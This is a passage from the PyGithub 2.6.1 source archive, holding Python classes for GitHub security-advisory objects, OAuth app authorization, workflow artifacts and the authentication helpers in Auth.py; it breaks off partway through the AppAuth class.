attributes: # pragma no branch self._ghsa_id = self._makeStringAttribute(attributes["ghsa_id"]) if "html_url" in attributes: # pragma no branch self._html_url = self._makeStringAttribute(attributes["html_url"]) if "identifiers" in attributes: # pragma no branch self._identifiers = self._makeListOfDictsAttribute(attributes["identifiers"]) if "published_at" in attributes: # pragma no branch assert attributes["published_at"] is None or isinstance(attributes["published_at"], str), attributes[ "published_at" ] self._published_at = self._makeDatetimeAttribute(attributes["published_at"]) if "severity" in attributes: # pragma no branch self._severity = self._makeStringAttribute(attributes["severity"]) if "summary" in attributes: # pragma no branch self._summary = self._makeStringAttribute(attributes["summary"]) if "updated_at" in attributes: # pragma no branch assert attributes["updated_at"] is None or isinstance(attributes["updated_at"], str), attributes[ "updated_at" ] self._updated_at = self._makeDatetimeAttribute(attributes["updated_at"]) if "url" in attributes: # pragma no branch self._url = self._makeStringAttribute(attributes["url"]) if "withdrawn_at" in attributes: # pragma no branch assert attributes["withdrawn_at"] is None or isinstance(attributes["withdrawn_at"], str), attributes[ "withdrawn_at" ] self._withdrawn_at = self._makeDatetimeAttribute(attributes["withdrawn_at"]) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/github/AdvisoryCredit.py0000644000175100001660000001213514756101563017557 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2023 Enrico Minack # # Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2023 Jonathan Leitschuh # # Copyright 2023 Joseph Henrich # # Copyright 2023 Trim21 # # Copyright 2024 Enrico Minack # # Copyright 2024 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from __future__ import annotations from typing import Any, Union from typing_extensions import TypedDict import github.NamedUser from github.GithubObject import Attribute, NonCompletableGithubObject, NotSet class SimpleCredit(TypedDict): """ A simple credit for a security advisory. """ login: str | github.NamedUser.NamedUser type: str Credit = Union[SimpleCredit, "AdvisoryCredit"] class AdvisoryCredit(NonCompletableGithubObject): """ This class represents a credit that is assigned to a SecurityAdvisory. The reference can be found here https://docs.github.com/en/rest/security-advisories/repository-advisories The OpenAPI schema can be found at - /components/schemas/repository-advisory/properties/credits/items """ def _initAttributes(self) -> None: self._login: Attribute[str] = NotSet self._type: Attribute[str] = NotSet def __repr__(self) -> str: return self.get__repr__( { "login": self.login, "type": self.type, } ) @property def login(self) -> str: """ :type: string """ return self._login.value @property def type(self) -> str: """ :type: string """ return self._type.value @staticmethod def _validate_credit(credit: Credit) -> None: assert isinstance(credit, (dict, AdvisoryCredit)), credit if isinstance(credit, dict): assert "login" in credit, credit assert "type" in credit, credit assert isinstance(credit["login"], (str, github.NamedUser.NamedUser)), credit["login"] assert isinstance(credit["type"], str), credit["type"] else: assert isinstance(credit.login, str), credit.login assert isinstance(credit.type, str), credit.type @staticmethod def _to_github_dict(credit: Credit) -> SimpleCredit: assert isinstance(credit, (dict, AdvisoryCredit)), credit if isinstance(credit, dict): assert "login" in credit, credit assert "type" in credit, credit assert isinstance(credit["login"], (str, github.NamedUser.NamedUser)), credit["login"] login = credit["login"] if isinstance(login, github.NamedUser.NamedUser): login = login.login return { "login": login, "type": credit["type"], } else: return { "login": credit.login, "type": credit.type, } def _useAttributes(self, attributes: dict[str, Any]) -> None: if "login" in attributes: # pragma no branch self._login = self._makeStringAttribute(attributes["login"]) if "type" in attributes: # pragma no branch self._type = self._makeStringAttribute(attributes["type"]) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/github/AdvisoryCreditDetailed.py0000644000175100001660000001205314756101563021212 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Peter Buckley # # Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # # Copyright 2019 Adam Baratz # # Copyright 2019 Nick Campbell # # Copyright 2019 Steve Kowalik # # Copyright 2019 Wan Liuyang # # Copyright 2020 Steve Kowalik # # Copyright 2021 Steve Kowalik # # Copyright 2023 Enrico Minack # # Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2023 Jonathan Leitschuh # # Copyright 2023 Joseph Henrich # # Copyright 2023 Trim21 # # Copyright 2024 Enrico Minack # # Copyright 2024 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from __future__ import annotations from typing import Any import github.NamedUser from github.GithubObject import Attribute, NonCompletableGithubObject, NotSet class AdvisoryCreditDetailed(NonCompletableGithubObject): """ This class represents a credit that is assigned to a SecurityAdvisory. The reference can be found here https://docs.github.com/en/rest/security-advisories/repository-advisories The OpenAPI schema can be found at - /components/schemas/global-advisory/properties/credits/items - /components/schemas/repository-advisory-credit """ def _initAttributes(self) -> None: self._state: Attribute[str] = NotSet self._type: Attribute[str] = NotSet self._user: Attribute[github.NamedUser.NamedUser] = NotSet def __repr__(self) -> str: return self.get__repr__( { "user": self.user, "type": self.type, } ) @property def state(self) -> str: """ :type: string """ return self._state.value @property def type(self) -> str: """ :type: string """ return self._type.value @property def user(self) -> github.NamedUser.NamedUser: """ :type: :class:`github.NamedUser.NamedUser` """ return self._user.value def _useAttributes(self, attributes: dict[str, Any]) -> None: if "state" in attributes: # pragma no branch self._state = self._makeStringAttribute(attributes["state"]) if "type" in attributes: # pragma no branch self._type = self._makeStringAttribute(attributes["type"]) if "user" in attributes: # pragma no branch self._user = self._makeClassAttribute(github.NamedUser.NamedUser, attributes["user"]) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/github/AdvisoryVulnerability.py0000644000175100001660000002063714756101563021204 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2023 Enrico Minack # # Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2023 Jonathan Leitschuh # # Copyright 2023 Joseph Henrich # # Copyright 2023 Trim21 # # Copyright 2024 Enrico Minack # # Copyright 2024 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from __future__ import annotations from typing import TYPE_CHECKING, Any, Union from typing_extensions import TypedDict import github.AdvisoryVulnerabilityPackage from github.GithubObject import Attribute, NonCompletableGithubObject, NotSet if TYPE_CHECKING: from github.AdvisoryVulnerabilityPackage import AdvisoryVulnerabilityPackage class SimpleAdvisoryVulnerabilityPackage(TypedDict): """ A simple package in an advisory. """ ecosystem: str name: str | None class SimpleAdvisoryVulnerability(TypedDict): """ A simple vulnerability in a security advisory. """ package: SimpleAdvisoryVulnerabilityPackage patched_versions: str | None vulnerable_functions: list[str] | None vulnerable_version_range: str | None AdvisoryVulnerabilityInput = Union[SimpleAdvisoryVulnerability, "AdvisoryVulnerability"] class AdvisoryVulnerability(NonCompletableGithubObject): """ This class represents a package that is vulnerable to a parent SecurityAdvisory. The reference can be found here https://docs.github.com/en/rest/security-advisories/repository-advisories The OpenAPI schema can be found at - /components/schemas/repository-advisory-vulnerability - /components/schemas/vulnerability """ def _initAttributes(self) -> None: self._first_patched_version: Attribute[str] = NotSet self._package: Attribute[AdvisoryVulnerabilityPackage] = NotSet self._patched_versions: Attribute[str] = NotSet self._vulnerable_functions: Attribute[list[str]] = NotSet self._vulnerable_version_range: Attribute[str] = NotSet def __repr__(self) -> str: return self.get__repr__({"package": self.package}) @property def first_patched_version(self) -> str: return self._first_patched_version.value @property def package( self, ) -> AdvisoryVulnerabilityPackage: """ :type: :class:`github.AdvisoryVulnerability.AdvisoryVulnerability` """ return self._package.value @property def patched_versions(self) -> str: """ :type: string """ return self._patched_versions.value @property def vulnerable_functions(self) -> list[str] | None: """ :type: list of string """ return self._vulnerable_functions.value @property def vulnerable_version_range(self) -> str | None: """ :type: string """ return self._vulnerable_version_range.value @classmethod def _validate_vulnerability(cls, vulnerability: AdvisoryVulnerabilityInput) -> None: assert isinstance(vulnerability, (dict, cls)), vulnerability if isinstance(vulnerability, dict): assert "package" in vulnerability, vulnerability package: SimpleAdvisoryVulnerabilityPackage = vulnerability["package"] assert isinstance(package, dict), package assert "ecosystem" in package, package assert isinstance(package["ecosystem"], str), package assert "name" in package, package assert isinstance(package["name"], (str, type(None))), package assert "patched_versions" in vulnerability, vulnerability assert isinstance(vulnerability["patched_versions"], (str, type(None))), vulnerability assert "vulnerable_functions" in vulnerability, vulnerability assert isinstance(vulnerability["vulnerable_functions"], (list, type(None))), vulnerability assert "vulnerable_functions" in vulnerability, vulnerability assert ( all(isinstance(vf, str) for vf in vulnerability["vulnerable_functions"]) if vulnerability["vulnerable_functions"] is not None else True ), vulnerability assert "vulnerable_version_range" in vulnerability, vulnerability assert isinstance(vulnerability["vulnerable_version_range"], (str, type(None))), vulnerability else: assert ( vulnerability.package is github.AdvisoryVulnerabilityPackage.AdvisoryVulnerabilityPackage ), vulnerability @staticmethod def _to_github_dict( vulnerability: AdvisoryVulnerabilityInput, ) -> SimpleAdvisoryVulnerability: if isinstance(vulnerability, dict): vulnerability_package: SimpleAdvisoryVulnerabilityPackage = vulnerability["package"] return { "package": { "ecosystem": vulnerability_package["ecosystem"], "name": vulnerability_package["name"], }, "patched_versions": vulnerability["patched_versions"], "vulnerable_functions": vulnerability["vulnerable_functions"], "vulnerable_version_range": vulnerability["vulnerable_version_range"], } return { "package": { "ecosystem": vulnerability.package.ecosystem, "name": vulnerability.package.name, }, "patched_versions": vulnerability.patched_versions, "vulnerable_functions": vulnerability.vulnerable_functions, "vulnerable_version_range": vulnerability.vulnerable_version_range, } def _useAttributes(self, attributes: dict[str, Any]) -> None: if "first_patched_version" in attributes: # pragma no branch self._first_patched_version = self._makeStringAttribute(attributes["first_patched_version"]) if "package" in attributes: # pragma no branch self._package = self._makeClassAttribute( github.AdvisoryVulnerabilityPackage.AdvisoryVulnerabilityPackage, attributes["package"], ) if "patched_versions" in attributes: # pragma no branch self._patched_versions = self._makeStringAttribute(attributes["patched_versions"]) if "vulnerable_functions" in attributes: # pragma no branch self._vulnerable_functions = self._makeListOfStringsAttribute(attributes["vulnerable_functions"]) if "vulnerable_version_range" in attributes: # pragma no branch self._vulnerable_version_range = self._makeStringAttribute(attributes["vulnerable_version_range"]) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/github/AdvisoryVulnerabilityPackage.py0000644000175100001660000001155414756101563022456 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 AKFish # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Jannis Gebauer # # Copyright 2016 Peter Buckley # # Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # # Copyright 2019 Steve Kowalik # # Copyright 2019 Wan Liuyang # # Copyright 2020 Steve Kowalik # # Copyright 2021 Steve Kowalik # # Copyright 2022 Eric Nieuwland # # Copyright 2023 Enrico Minack # # Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2023 Jonathan Leitschuh # # Copyright 2023 Joseph Henrich # # Copyright 2023 Trim21 # # Copyright 2024 Enrico Minack # # Copyright 2024 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2024 Thomas Cooper # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from __future__ import annotations from typing import Any from github.GithubObject import Attribute, NonCompletableGithubObject, NotSet class AdvisoryVulnerabilityPackage(NonCompletableGithubObject): """ This class represents an identifier for a package that is vulnerable to a parent SecurityAdvisory. The reference can be found here https://docs.github.com/en/rest/security-advisories/repository-advisories The OpenAPI schema can be found at - /components/schemas/dependabot-alert-package - /components/schemas/repository-advisory-vulnerability/properties/package - /components/schemas/vulnerability/properties/package """ def _initAttributes(self) -> None: self._ecosystem: Attribute[str] = NotSet self._name: Attribute[str | None] = NotSet def __repr__(self) -> str: return self.get__repr__({"name": self.name}) @property def ecosystem(self) -> str: """ :type: string """ return self._ecosystem.value @property def name(self) -> str | None: """ :type: string or None """ return self._name.value def _useAttributes(self, attributes: dict[str, Any]) -> None: if "ecosystem" in attributes: # pragma no branch self._ecosystem = self._makeStringAttribute(attributes["ecosystem"]) if "name" in attributes: # pragma no branch self._name = self._makeStringAttribute(attributes["name"]) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/github/AppAuthentication.py0000644000175100001660000000644214756101563020250 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Peter Buckley # # Copyright 2018 sfdye # # Copyright 2019 Steve Kowalik # # Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># # Copyright 2019 Wan Liuyang # # Copyright 2020 Steve Kowalik # # Copyright 2022 Eric Nieuwland # # Copyright 2023 Denis Blanchette # # Copyright 2023 Enrico Minack # # Copyright 2023 Trim21 # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from typing import Dict, Optional, Union import deprecated from github.Auth import AppAuth, AppInstallationAuth @deprecated.deprecated("Use github.Auth.AppInstallationAuth instead") class AppAuthentication(AppInstallationAuth): def __init__( self, app_id: Union[int, str], private_key: str, installation_id: int, token_permissions: Optional[Dict[str, str]] = None, ): super().__init__( app_auth=AppAuth(app_id, private_key), installation_id=installation_id, token_permissions=token_permissions, ) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/github/ApplicationOAuth.py0000644000175100001660000002001014756101563020017 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2019 Rigas Papathanasopoulos # # Copyright 2020 Steve Kowalik # # Copyright 2021 Mark Walker # # Copyright 2021 Steve Kowalik # # Copyright 2023 Enrico Minack # # Copyright 2023 Trim21 # # Copyright 2024 Enrico Minack # # Copyright 2024 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from __future__ import annotations import urllib.parse from typing import TYPE_CHECKING, Any import github.AccessToken import github.Auth from github.Consts import DEFAULT_BASE_URL, DEFAULT_OAUTH_URL from github.GithubException import BadCredentialsException, GithubException from github.GithubObject import Attribute, NonCompletableGithubObject, NotSet from github.Requester import Requester if TYPE_CHECKING: from github.AccessToken import AccessToken from github.Auth import AppUserAuth class ApplicationOAuth(NonCompletableGithubObject): """ This class is used for identifying and authorizing users for Github Apps. The reference can be found at https://docs.github.com/en/developers/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps """ def _initAttributes(self) -> None: self._client_id: Attribute[str] = NotSet self._client_secret: Attribute[str] = NotSet def __init__( self, requester: Requester, headers: dict[str, Any], attributes: Any, ) -> None: # this object requires a request without authentication requester = requester.withAuth(auth=None) super().__init__(requester, headers, attributes) def __repr__(self) -> str: return self.get__repr__({"client_id": self._client_id.value}) @property def client_id(self) -> str: return self._client_id.value @property def client_secret(self) -> str: return self._client_secret.value def get_oauth_url(self, path: str) -> str: if not path.startswith("/"): path = f"/{path}" if self._requester.base_url == DEFAULT_BASE_URL: base_url = DEFAULT_OAUTH_URL else: base_url = f"{self._requester.scheme}://{self._requester.hostname_and_port}/login/oauth" return f"{base_url}{path}" def get_login_url( self, redirect_uri: str | None = None, state: str | None = None, login: str | None = None, ) -> str: """ Return the URL you need to redirect a user to in order to authorize your App. """ parameters = {"client_id": self.client_id} if redirect_uri is not None: assert isinstance(redirect_uri, str), redirect_uri parameters["redirect_uri"] = redirect_uri if state is not None: assert isinstance(state, str), state parameters["state"] = state if login is not None: assert isinstance(login, str), login parameters["login"] = login query = urllib.parse.urlencode(parameters) return self.get_oauth_url(f"/authorize?{query}") def get_access_token(self, code: str, state: str | None = None) -> AccessToken: """ :calls: `POST /login/oauth/access_token `_ """ assert isinstance(code, str), code post_parameters = { "code": code, "client_id": self.client_id, "client_secret": self.client_secret, } if state is not None: post_parameters["state"] = state headers, data = self._checkError( *self._requester.requestJsonAndCheck( "POST", self.get_oauth_url("/access_token"), headers={"Accept": "application/json"}, input=post_parameters, ) ) return github.AccessToken.AccessToken( requester=self._requester, headers=headers, attributes=data, ) def get_app_user_auth(self, token: AccessToken) -> AppUserAuth: return github.Auth.AppUserAuth( client_id=self.client_id, client_secret=self.client_secret, token=token.token, token_type=token.type, expires_at=token.expires_at, refresh_token=token.refresh_token, refresh_expires_at=token.refresh_expires_at, requester=self._requester, ) def refresh_access_token(self, refresh_token: str) -> AccessToken: """ :calls: `POST /login/oauth/access_token `_ :param refresh_token: string """ assert isinstance(refresh_token, str) post_parameters = { "client_id": self.client_id, "client_secret": self.client_secret, "grant_type": "refresh_token", "refresh_token": refresh_token, } headers, data = self._checkError( *self._requester.requestJsonAndCheck( "POST", self.get_oauth_url("/access_token"), headers={"Accept": "application/json"}, input=post_parameters, ) ) return github.AccessToken.AccessToken( requester=self._requester, headers=headers, attributes=data, ) @staticmethod def _checkError(headers: dict[str, Any], data: Any) -> tuple[dict[str, Any], Any]: if isinstance(data, dict) and "error" in data: if data["error"] == "bad_verification_code": raise BadCredentialsException(200, data, headers) raise GithubException(200, data, headers) return headers, data def _useAttributes(self, attributes: dict[str, Any]) -> None: if "client_id" in attributes: # pragma no branch self._client_id = self._makeStringAttribute(attributes["client_id"]) if "client_secret" in attributes: # pragma no branch self._client_secret = self._makeStringAttribute(attributes["client_secret"]) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/github/Artifact.py0000644000175100001660000002025414756101563016362 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 AKFish # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2015 Matt Babineau # # Copyright 2016 Jannis Gebauer # # Copyright 2016 Martijn Koster # # Copyright 2016 Peter Buckley # # Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # # Copyright 2019 Steve Kowalik # # Copyright 2019 Wan Liuyang # # Copyright 2020 Colby Gallup # # Copyright 2020 Mahesh Raju # # Copyright 2020 Steve Kowalik # # Copyright 2021 Steve Kowalik # # Copyright 2022 Aleksei Fedotov # # Copyright 2023 Enrico Minack # # Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2023 Trim21 # # Copyright 2024 Enrico Minack # # Copyright 2024 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from __future__ import annotations from datetime import datetime from typing import TYPE_CHECKING, Any import github.WorkflowRun from github.GithubObject import Attribute, NonCompletableGithubObject, NotSet if TYPE_CHECKING: from github.WorkflowRun import WorkflowRun class Artifact(NonCompletableGithubObject): """ This class represents an Artifact of Github Run. The OpenAPI schema can be found at - /components/schemas/artifact """ def _initAttributes(self) -> None: self._archive_download_url: Attribute[str] = NotSet self._created_at: Attribute[datetime] = NotSet self._expired: Attribute[bool] = NotSet self._expires_at: Attribute[datetime] = NotSet self._head_sha: Attribute[str] = NotSet self._id: Attribute[int] = NotSet self._name: Attribute[str] = NotSet self._node_id: Attribute[str] = NotSet self._size_in_bytes: Attribute[int] = NotSet self._updated_at: Attribute[datetime] = NotSet self._url: Attribute[str] = NotSet self._workflow_run: Attribute[WorkflowRun] = NotSet def __repr__(self) -> str: return self.get__repr__({"name": self._name.value, "id": self._id.value}) @property def archive_download_url(self) -> str: return self._archive_download_url.value @property def created_at(self) -> datetime: return self._created_at.value @property def expired(self) -> bool: return self._expired.value @property def expires_at(self) -> datetime: return self._expires_at.value @property def head_sha(self) -> str: return self._head_sha.value @property def id(self) -> int: return self._id.value @property def name(self) -> str: return self._name.value @property def node_id(self) -> str: return self._node_id.value @property def size_in_bytes(self) -> int: return self._size_in_bytes.value @property def updated_at(self) -> datetime: return self._updated_at.value @property def url(self) -> str: return self._url.value @property def workflow_run(self) -> WorkflowRun: return self._workflow_run.value def delete(self) -> bool: """ :calls: `DELETE /repos/{owner}/{repo}/actions/artifacts/{artifact_id} `_ """ status, headers, data = self._requester.requestBlob("DELETE", self.url) return status == 204 def _useAttributes(self, attributes: dict[str, Any]) -> None: if "archive_download_url" in attributes: # pragma no branch self._archive_download_url = self._makeStringAttribute(attributes["archive_download_url"]) if "created_at" in attributes: # pragma no branch assert attributes["created_at"] is None or isinstance(attributes["created_at"], (str,)), attributes[ "created_at" ] self._created_at = self._makeDatetimeAttribute(attributes["created_at"]) if "expired" in attributes: # pragma no branch self._expired = self._makeBoolAttribute(attributes["expired"]) if "expires_at" in attributes: # pragma no branch assert attributes["expires_at"] is None or isinstance(attributes["expires_at"], (str,)), attributes[ "expires_at" ] self._expires_at = self._makeDatetimeAttribute(attributes["expires_at"]) if "head_sha" in attributes: # pragma no branch self._head_sha = self._makeStringAttribute(attributes["head_sha"]) if "id" in attributes: # pragma no branch self._id = self._makeIntAttribute(attributes["id"]) if "name" in attributes: # pragma no branch self._name = self._makeStringAttribute(attributes["name"]) if "node_id" in attributes: # pragma no branch self._node_id = self._makeStringAttribute(attributes["node_id"]) if "size_in_bytes" in attributes: # pragma no branch self._size_in_bytes = self._makeIntAttribute(attributes["size_in_bytes"]) if "updated_at" in attributes: # pragma no branch assert attributes["updated_at"] is None or isinstance(attributes["updated_at"], (str,)), attributes[ "updated_at" ] self._updated_at = self._makeDatetimeAttribute(attributes["updated_at"]) if "url" in attributes: # pragma no branch self._url = self._makeStringAttribute(attributes["url"]) if "workflow_run" in attributes: # pragma no branch self._workflow_run = self._makeClassAttribute(github.WorkflowRun.WorkflowRun, attributes["workflow_run"]) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/github/Auth.py0000644000175100001660000004453114756101563015532 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2023 Enrico Minack # # Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2023 Trim21 # # Copyright 2023 chantra # # Copyright 2024 Enrico Minack # # Copyright 2024 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2024 Jonathan Kliem # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ import abc import base64 import time from abc import ABC from datetime import datetime, timedelta, timezone from typing import TYPE_CHECKING, Callable, Dict, Optional, Union import jwt from requests import utils from github import Consts from github.InstallationAuthorization import InstallationAuthorization from github.Requester import Requester, WithRequester if TYPE_CHECKING: from github.GithubIntegration import GithubIntegration PrivateKeyGenerator = Callable[[], Union[str, bytes]] DictSignFunction = Callable[[dict], Union[str, bytes]] # For App authentication, time remaining before token expiration to request a new one ACCESS_TOKEN_REFRESH_THRESHOLD_SECONDS = 20 TOKEN_REFRESH_THRESHOLD_TIMEDELTA = timedelta(seconds=ACCESS_TOKEN_REFRESH_THRESHOLD_SECONDS) # add new implementations of github.Auth.Auth to docs/utilities.rst class Auth(abc.ABC): """ This class is the base class of all authentication methods for Requester. """ @property @abc.abstractmethod def token_type(self) -> str: """ The type of the auth token as used in the HTTP Authorization header, e.g. Bearer or Basic. :return: token type """ @property @abc.abstractmethod def token(self) -> str: """ The auth token as used in the HTTP Authorization header. :return: token """ def authentication(self, headers: dict) -> None: """ Add authorization to the headers. """ headers["Authorization"] = f"{self.token_type} {self.token}" def mask_authentication(self, headers: dict) -> None: """ Mask header, e.g. for logging. """ headers["Authorization"] = self._masked_token @property def _masked_token(self) -> str: return "(unknown auth removed)" class HTTPBasicAuth(Auth, abc.ABC): @property @abc.abstractmethod def username(self) -> str: """ The username. """ @property @abc.abstractmethod def password(self) -> str: """ The password. """ @property def token_type(self) -> str: return "Basic" @property def token(self) -> str: return base64.b64encode(f"{self.username}:{self.password}".encode()).decode("utf-8").replace("\n", "") @property def _masked_token(self) -> str: return "Basic (login and password removed)" class Login(HTTPBasicAuth): """ This class is used to authenticate with login and password. """ def __init__(self, login: str, password: str): assert isinstance(login, str) assert len(login) > 0 assert isinstance(password, str) assert len(password) > 0 self._login = login self._password = password @property def login(self) -> str: return self._login @property def username(self) -> str: return self.login @property def password(self) -> str: return self._password class Token(Auth): """ This class is used to authenticate with a single constant token. """ def __init__(self, token: str): assert isinstance(token, str) assert len(token) > 0 self._token = token @property def token_type(self) -> str: return "token" @property def token(self) -> str: return self._token @property def _masked_token(self) -> str: return "token (oauth token removed)" class JWT(Auth, ABC): """ This class is the base class to authenticate with a JSON Web Token (JWT). https://docs.github.com/en/apps/creating-github-apps/authenticating-with-a-github-app/generating-a-json-web-token-jwt-for-a-github-app """ @property def token_type(self) -> str: return "Bearer" class JwtSigner: def __init__(self, private_key_or_func: Union[str, PrivateKeyGenerator], jwt_algorithm: str): self._private_key_or_func = private_key_or_func self._jwt_algorithm = jwt_algorithm def jwt_sign(self, payload: dict) -> Union[str, bytes]: if callable(self._private_key_or_func): private_key = self._private_key_or_func() else: private_key = self._private_key_or_func return jwt.encode(payload, key=private_key, algorithm=self._jwt_algorithm) class AppAuth(JWT): """ This class is used to authenticate as a GitHub App. https://docs.github.com/en/apps/creating-github-apps/authenticating-with-a-github-app/authenticating-as-a-github-app """ @staticmethod def create_jwt_sign(private_key_or_func: Union[str, PrivateKeyGenerator], jwt_algorithm: str) -> DictSignFunction: return JwtSigner(private_key_or_func, jwt_algorithm).jwt_sign # v3: move * above private_key def __init__( self, app_id: Union[int, str], private_key: Optional[Union[str, PrivateKeyGenerator]] = None, *, sign_func: 